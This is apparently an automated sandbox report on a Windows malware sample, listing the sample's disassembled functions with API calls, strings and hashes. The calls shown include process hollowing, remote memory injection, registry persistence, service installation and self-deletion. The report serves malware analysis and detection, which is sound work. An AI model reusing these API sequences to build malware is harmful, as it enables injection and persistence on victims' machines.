Opcode ID: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction ID: 7b5812d5d2c037db56fb7cc720bc5ad28be2e092f3141d28ea6626f847aa1f88
Opcode Fuzzy Hash: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction Fuzzy Hash: D0D0C934600302ABCF22CF65AE1EA867AACAB54702B40C436B406E1670E778E994DA0C

Function 00402F22 Relevance: 5.2, APIs: 4, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402D21: GetModuleHandleA.KERNEL32(00000000,759223A0,?,00000000,00402F01,?,004020FF,00412000), ref: 00402D3A
Part of subcall function 00402D21: LoadLibraryA.KERNEL32(?), ref: 00402D4A

GetProcessHeap.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402F73
HeapFree.KERNEL32(00000000), ref: 00402F7A

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Heap$FreeHandleLibraryLoadModuleProcess
String ID:
API String ID: 1017166417-0
Opcode ID: 17a9aa356eb7964f79448f848511744e029a14576c0ff14f59890d2228000c73
Instruction ID: 68d3b74a61d8da24685d2c7d21854d87d7e5c343c8b3ec1e3967b08f84d9f298
Opcode Fuzzy Hash: 17a9aa356eb7964f79448f848511744e029a14576c0ff14f59890d2228000c73
Instruction Fuzzy Hash: C251E23190020A9FCF01DF64D8889FABB79FF15304F10457AEC95E7290E7769A19CB88

Function 040C3189 Relevance: 5.2, APIs: 4, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 040C2F88: GetModuleHandleA.KERNEL32(?), ref: 040C2FA1
Part of subcall function 040C2F88: LoadLibraryA.KERNEL32(?), ref: 040C2FB1

GetProcessHeap.KERNEL32(00000000,00000000), ref: 040C31DA
HeapFree.KERNEL32(00000000), ref: 040C31E1

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Heap$FreeHandleLibraryLoadModuleProcess
String ID:
API String ID: 1017166417-0
Opcode ID: 6d22c46e4b2bbf8f956e586da185c112e243b929c4a2d348202b24ffe9e68596
Instruction ID: b2548dd1f947f1db23a56d115f9906c3fba1f9a147681a4dca4668199b7a24d1
Opcode Fuzzy Hash: 6d22c46e4b2bbf8f956e586da185c112e243b929c4a2d348202b24ffe9e68596
Instruction Fuzzy Hash: 22518E7191024AEFDF019F64D8889EDB7B5FF06305F148569EC96E7210E732AA19CB90

Analysis Process: uscdfbek.exePID: 7096, Parent PID: 632COMMON

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	30.5%
Signature Coverage:	0%
Total number of Nodes:	1576
Total number of Limit Nodes:	13

Executed Functions

Function 00409A6B Relevance: 102.3, APIs: 48, Strings: 10, Instructions: 799stringsleepregistryCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000003), ref: 00409A7F
SetErrorMode.KERNELBASE(00000003), ref: 00409A83
SetUnhandledExceptionFilter.KERNEL32(00406511), ref: 00409A8A

Part of subcall function 0040EC54: GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
Part of subcall function 0040EC54: GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
Part of subcall function 0040EC54: GetTickCount.KERNEL32 ref: 0040EC78

GetModuleHandleA.KERNEL32(00000000,?,0000012C), ref: 00409AB3
GetModuleFileNameA.KERNEL32(00000000), ref: 00409ABA
GetCommandLineA.KERNEL32 ref: 00409AFD
lstrlenA.KERNEL32(?), ref: 00409B99
ExitProcess.KERNEL32 ref: 00409C06
GetTempPathA.KERNEL32(000001F4,?), ref: 00409CAC
lstrcpyA.KERNEL32(?,00000000), ref: 00409D7A
lstrcatA.KERNEL32(?,?), ref: 00409D8B
lstrcatA.KERNEL32(?,0041070C), ref: 00409D9D
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 00409DED
DeleteFileA.KERNEL32(00000022), ref: 00409E38
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 00409E6F
lstrcpyA.KERNEL32(?,00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409EC8
lstrlenA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409ED5
RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000103,?), ref: 00409F3B
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000022,?,?,?,00000000,00000103,?), ref: 00409F5E
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 00409F6A
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103), ref: 00409FAD
GetModuleFileNameA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FB4
GetDriveTypeA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FFE
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A038
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A05E
lstrcatA.KERNEL32(00000022,00000022), ref: 0040A072
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A08D
wsprintfA.USER32 ref: 0040A0B6
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A0DE
lstrcatA.KERNEL32(00000022,?), ref: 0040A0FD
CreateProcessA.KERNEL32(00000000,00000022,00000000,00000000,00000000,08000000,00000000,00000000,00000044,?), ref: 0040A120
DeleteFileA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 0040A131
GetModuleHandleA.KERNEL32(00000000,00000022,0000012C), ref: 0040A174
GetModuleFileNameA.KERNEL32(00000000), ref: 0040A17B
GetDriveTypeA.KERNEL32(00000022), ref: 0040A1B6
GetCommandLineA.KERNEL32 ref: 0040A1E5

Part of subcall function 004099D2: lstrcpyA.KERNEL32(?,?,00000100,004122F8,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
Part of subcall function 004099D2: lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
Part of subcall function 004099D2: lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

lstrlenA.KERNEL32(?), ref: 0040A288
StartServiceCtrlDispatcherA.ADVAPI32(?), ref: 0040A3B7
GetLastError.KERNEL32 ref: 0040A3ED
Sleep.KERNEL32(000003E8), ref: 0040A400
DeleteFileA.KERNEL32(C:\Users\user\Desktop\2IFYYPRUgO.exe), ref: 0040A407
CreateThread.KERNEL32(00000000,00000000,0040405E,00000000,00000000,00000000), ref: 0040A42C
WSAStartup.WS2_32(00001010,?), ref: 0040A43A
CreateThread.KERNEL32(00000000,00000000,0040877E,00000000,00000000,00000000), ref: 0040A469
Sleep.KERNEL32(00000BB8), ref: 0040A48A
GetTickCount.KERNEL32 ref: 0040A49F
GetTickCount.KERNEL32 ref: 0040A4B7
Sleep.KERNEL32(00001A90), ref: 0040A4C3

Strings

", xrefs: 0040A189
P, xrefs: 00409DAA
C:\Users\user\Desktop\2IFYYPRUgO.exe, xrefs: 0040A2CB, 0040A3CC, 0040A3E1, 0040A406, 0040A413
D, xrefs: 00409F8E
%X%08X, xrefs: 0040A0B0
", xrefs: 0040A078
", xrefs: 00409EDB
C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe, xrefs: 0040A1D9
\, xrefs: 00409D0C
chxnvqnu, xrefs: 0040A389, 0040A397

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Module$CountCreateDeleteErrorHandleNameSleepTicklstrcpylstrlen$CommandDriveLineModeProcessThreadTimeType$AttributesCloseCtrlDispatcherEnvironmentExceptionExitFilterInformationLastOpenPathServiceStartStartupSystemTempUnhandledValueVariableVolumewsprintf
String ID: "$"$"$%X%08X$C:\Users\user\Desktop\2IFYYPRUgO.exe$C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe$D$P$\$chxnvqnu
API String ID: 2089075347-2356712690
Opcode ID: 69071e7f72711d21cff6056459b1329949a0fa875525a2a87badba31d3a6a59d
Instruction ID: 9e8e6158c267d4507ba39c142606b205eb09e8ef63bc9ae6e883bbf27c052806
Opcode Fuzzy Hash: 69071e7f72711d21cff6056459b1329949a0fa875525a2a87badba31d3a6a59d
Instruction Fuzzy Hash: 4A5291B1D40259BBDB11DBA1CC49EEF7BBCAF04304F1444BBF509B6182D6788E948B69

Function 0040637C Relevance: 6.1, APIs: 4, Instructions: 67
memoryinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,?,?,00409816,EntryPoint), ref: 0040638F
VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,?,?,00409816,EntryPoint), ref: 004063A9
VirtualAllocEx.KERNELBASE(00000000,00000000,?,00001000,00000040), ref: 004063CA
WriteProcessMemory.KERNELBASE(00000000,00000000,?,?,00000000), ref: 004063EB

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID:
API String ID: 1965334864-0
Opcode ID: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction ID: 5c31eb3238d54f8d6ca6dd7d72ba58cabd3ec10295ac0618dae15ec7b9dc1832
Opcode Fuzzy Hash: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction Fuzzy Hash: B911A3B1600219BFEB119F65DC49F9B3FA8EB047A4F114035FD09E7290D775DC108AA8

Function 004073FF Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 345
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000002,00000000,00020119,00000000,?,75920F10,00000000), ref: 00407472
RegOpenKeyExA.KERNELBASE(00000000,?,00000000,00000101,?,?,?,?,?,?,?,75920F10,00000000), ref: 004074F0
RegQueryValueExA.KERNELBASE(?,00000000,?,00000000,?,?,00000104,?,?,?,?,?,?,75920F10,00000000), ref: 00407528
___ascii_stricmp.LIBCMT ref: 0040764D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,75920F10,00000000), ref: 004076E7
RegEnumKeyA.ADVAPI32(00000000,00000000,?,00000104), ref: 00407706
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,75920F10,00000000), ref: 00407717
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,75920F10,00000000), ref: 00407745
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,75920F10,00000000), ref: 004077EF

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,004122F8,000000C8,00407150,?), ref: 0040F1AD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040778F
RegCloseKey.KERNELBASE(?), ref: 004077E6

Strings

", xrefs: 00407599

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "
API String ID: 3433985886-123907689
Opcode ID: 58688efdc745e23d79e1c9d42d0b110b33b2b67bc428880df89735915a056cb6
Instruction ID: 2be8177c38fcb0431c37abdcb30432b02610efeff0693f38a05b2573c300e2d4
Opcode Fuzzy Hash: 58688efdc745e23d79e1c9d42d0b110b33b2b67bc428880df89735915a056cb6
Instruction Fuzzy Hash: E8C1F171D04209ABEB119BA5DC45BEF7BB9EF04310F1004B7F504B72D1EA79AE908B69

Function 0261003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0261024D

Strings

kernel32.dll, xrefs: 0261008F, 02610095
cess, xrefs: 0261018D

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 5774ec0492e1ed75388dcceda0e4cbf8f0944c93cfc0f584de3cb1d391b68c67
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 1A526974A01229DFDB64CF68C985BACBBB1BF09304F1480D9E94DAB351DB30AA95DF14

Function 0040977C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 82
threadprocessinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(00000000,00409947,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,?,004122F8), ref: 004097B1
Wow64GetThreadContext.KERNEL32(?,?,?,?,?,?,?,004122F8), ref: 004097EB
TerminateProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,004122F8), ref: 004097F9
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000,?,?,?,?,?,?,?,?,?,004122F8), ref: 00409831
Wow64SetThreadContext.KERNEL32(?,00010002,?,?,?,?,?,?,?,?,?,004122F8), ref: 0040984E
ResumeThread.KERNELBASE(?,?,?,?,?,?,?,?,?,?,004122F8), ref: 0040985B

Strings

D, xrefs: 004097A9

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: ProcessThread$ContextWow64$CreateMemoryResumeTerminateWrite
String ID: D
API String ID: 2098669666-2746444292
Opcode ID: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction ID: 6dc29e085b1385aad622296cf5a9b119a202239bcf48ce0aeeb22bf7d7f748db
Opcode Fuzzy Hash: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction Fuzzy Hash: 54216DB2901119BBDB119FA1DC49EEF7B7CEF05750F004071B909F2191EB759A44CAA8

Function 00404000 Relevance: 4.5, APIs: 3, Instructions: 35
sleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(40000080,C0000000,00000003,00000000,00000003,40000080,00000000,00000001,004122F8,004042B6,00000000,00000001,004122F8,00000000,?,004098FD), ref: 00404021
GetLastError.KERNEL32(?,004098FD,00000001,00000100,004122F8,0040A3C7), ref: 0040402C
Sleep.KERNEL32(000001F4,?,004098FD,00000001,00000100,004122F8,0040A3C7), ref: 00404046

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: CreateErrorFileLastSleep
String ID:
API String ID: 408151869-0
Opcode ID: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction ID: 3804347f6bd7ba573f3b83e06e35dce69dd086f5e0a34025cfebbc3953b0dfe0
Opcode Fuzzy Hash: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction Fuzzy Hash: 05F0A771240101AAD7311B24BC49B5B36A1DBC6734F258B76F3B5F21E0C67458C19B1D

Function 0040EC54 Relevance: 4.5, APIs: 3, Instructions: 24
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
GetTickCount.KERNEL32 ref: 0040EC78

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Time$CountFileInformationSystemTickVolume
String ID:
API String ID: 1209300637-0
Opcode ID: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction ID: 1673bc13977c8672636575d9c8a2f9c2942a42ce341afdc75306ae3be589e196
Opcode Fuzzy Hash: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction Fuzzy Hash: 6BE0BFF5810104FFEB11EBB0EC4EEBB7BBCFB08315F504661B915D6090DAB49A448B64

Function 00406E36 Relevance: 3.1, APIs: 2, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameW.ADVAPI32(?,00401FA1), ref: 00406E55
LookupAccountNameW.ADVAPI32(00000000,?,?,00000104,?,00000000,00000012), ref: 00406E8D

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Name$AccountLookupUser
String ID:
API String ID: 2370142434-0
Opcode ID: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction ID: d69833bf2c7126fc9b7bd4b1d5117f4fe90a033eeaed535c4400ab00b2689cfd
Opcode Fuzzy Hash: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction Fuzzy Hash: 0211F776900218EBDF21CFD4C884ADFB7BCAB04741F1542B6E502F6290DB749B989BE4

Function 026987E1 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 02698809
Module32First.KERNEL32(00000000,00000224), ref: 02698829

Memory Dump Source

Source File: 0000000C.00000002.2078985168.0000000002688000.00000040.00000020.00020000.00000000.sdmp, Offset: 02688000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2688000_uscdfbek.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 80baa3811c3aad7c506449f83e275977686d371f2034f4fa7d654967663787c9
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: EFF09635500710AFDB203BF9AD8CB6E76ECBF4A664F100539E646D61C0DF74E8454AB5

Function 02610E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02610223,?,?), ref: 02610E19
SetErrorMode.KERNELBASE(00000000,?,?,02610223,?,?), ref: 02610E1E

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 323a148d031aa8979a0654940c3340b49206a3e0f742dbfe92ff6cd918eee192
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 25D0123114512877DB002A95DC09BCD7B1CDF05B66F048011FB0DD9180C770954046E5

Function 00406DC2 Relevance: 1.5, APIs: 1, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406CC9: GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,004122F8,000000E4,00406DDC,000000C8), ref: 00406CE7
Part of subcall function 00406CC9: GetProcAddress.KERNEL32(00000000), ref: 00406CEE
Part of subcall function 00406CC9: GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 00406D14
Part of subcall function 00406CC9: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000,000000C8), ref: 00406E1A

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleInformationModuleProcSystemVolumeWindows
String ID:
API String ID: 1823874839-0
Opcode ID: 5af76653529245223ce54de3b2201f43486e795cc7c2b0fcdaec7285886f4086
Instruction ID: 937aca74520052d45988c2d0c0f169875d4d0bc257a2eacc80ff7e120b8985ce
Opcode Fuzzy Hash: 5af76653529245223ce54de3b2201f43486e795cc7c2b0fcdaec7285886f4086
Instruction Fuzzy Hash: 75F0C2B6104218AFD710DB64EDC4EE777EED714308F1084B6E286E3145D6B89DA85B6C

Function 00409892 Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetServiceStatus.SECHOST(00413394), ref: 004098EB

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: ServiceStatus
String ID:
API String ID: 3969395364-0
Opcode ID: ed568b8bb23c32db7e8f15f5619feefc651b0b7a3ef30a3dcb983adc29e58fc0
Instruction ID: dd676a4af3dd8f9e000b524091363a81fd6157f1888c947a943bd607f736cbf1
Opcode Fuzzy Hash: ed568b8bb23c32db7e8f15f5619feefc651b0b7a3ef30a3dcb983adc29e58fc0
Instruction Fuzzy Hash: 02F0F271514208EFCB18CF14E89869A7BA0F348706B20C83EE82AD2371CB749A80DF0D

Function 026984A0 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 026984F1

Memory Dump Source

Source File: 0000000C.00000002.2078985168.0000000002688000.00000040.00000020.00020000.00000000.sdmp, Offset: 02688000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2688000_uscdfbek.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: f9e6bf31ed66667501d1866ee0c0c4431064e3e6ec5d05f7f98a8d7a794bfa9f
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 86113979A00208EFDB01DF98CA85E98BBF5EF08351F0580A5F9489B361D775EA90DF90

Function 004098F2 Relevance: 1.3, APIs: 1, Instructions: 37
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404280: CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,004098FD,00000001,00000100,004122F8,0040A3C7), ref: 00404290

Sleep.KERNEL32(000003E8,00000100,004122F8,0040A3C7), ref: 00409909

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: CreateEventSleep
String ID:
API String ID: 3100162736-0
Opcode ID: 4d41be995d42169e7907864f945f5cc175d4e7c56b3013806251050fc082db50
Instruction ID: e56085e6bf9507d1b9c0d1fa6774ae3e34a200a1ca8b69066151cd7271dcc025
Opcode Fuzzy Hash: 4d41be995d42169e7907864f945f5cc175d4e7c56b3013806251050fc082db50
Instruction Fuzzy Hash: 58F05472A81360A6E62226566C07F8F19040B95B24F05417EF744BA2C395E8495141ED

Non-executed Functions

Function 026165E3 Relevance: 6.1, APIs: 4, Instructions: 67memoryinjectionCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 026165F6
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 02616610
VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000040), ref: 02616631
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000), ref: 02616652

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID:
API String ID: 1965334864-0
Opcode ID: f6d5bfc494c97751726a91e8fcfc29ef8439432d9fc6ff92f654e37a29c1b935
Instruction ID: e6359c7c106158552dc72e23f537df794f8e037d0a8638377616cd0320c8a5bc
Opcode Fuzzy Hash: f6d5bfc494c97751726a91e8fcfc29ef8439432d9fc6ff92f654e37a29c1b935
Instruction Fuzzy Hash: 5D117375600258BFDB219F65DC45F9B3FACEB057A5F144024FA08E7251D7B1ED40CAA4

Function 02619EA0 Relevance: 59.9, APIs: 28, Strings: 6, Instructions: 421stringregistryfileCOMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 02619E6D
lstrcpy.KERNEL32(?,00000000), ref: 02619FE1
lstrcat.KERNEL32(?,?), ref: 02619FF2
lstrcat.KERNEL32(?,0041070C), ref: 0261A004
GetFileAttributesExA.KERNEL32(?,?,?), ref: 0261A054
DeleteFileA.KERNEL32(?), ref: 0261A09F
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 0261A0D6
lstrcpy.KERNEL32 ref: 0261A12F
lstrlen.KERNEL32(00000022), ref: 0261A13C
GetTempPathA.KERNEL32(000001F4,?), ref: 02619F13

Part of subcall function 02617029: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000), ref: 02617081

Part of subcall function 02616F30: GetModuleHandleA.KERNEL32(00410380,00410670,00000000,\\.\pipe\rwmckfcj,02617043), ref: 02616F4E
Part of subcall function 02616F30: GetProcAddress.KERNEL32(00000000), ref: 02616F55
Part of subcall function 02616F30: GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 02616F7B
Part of subcall function 02616F30: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 02616F92

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,?,00000103,?,?,?,?), ref: 0261A1A2
RegSetValueExA.ADVAPI32(?,00000001,?,00000001,?,000001F5,?,?,?,00000103,?,?,?,?), ref: 0261A1C5
GetModuleHandleA.KERNEL32(?,?,00000104,?,?,00000010,?,?,00000044,?,?,?,?,?,?,00000103), ref: 0261A214
GetModuleFileNameA.KERNEL32(00000000,?,?,00000104,?,?,00000010,?,?,00000044), ref: 0261A21B
GetDriveTypeA.KERNEL32(?), ref: 0261A265
lstrcat.KERNEL32(?,00000000), ref: 0261A29F
lstrcat.KERNEL32(?,00410A34), ref: 0261A2C5
lstrcat.KERNEL32(?,00000022), ref: 0261A2D9
lstrcat.KERNEL32(?,00410A34), ref: 0261A2F4
wsprintfA.USER32 ref: 0261A31D
lstrcat.KERNEL32(?,00000000), ref: 0261A345
lstrcat.KERNEL32(?,?), ref: 0261A364
CreateProcessA.KERNEL32(?,?,?,?,?,08000000,?,?,?,?,?,?,00000104,?,?,00000010), ref: 0261A387
DeleteFileA.KERNEL32(?,?,?,?,?,?,08000000,?,?,?,?,?,?,00000104,?), ref: 0261A398
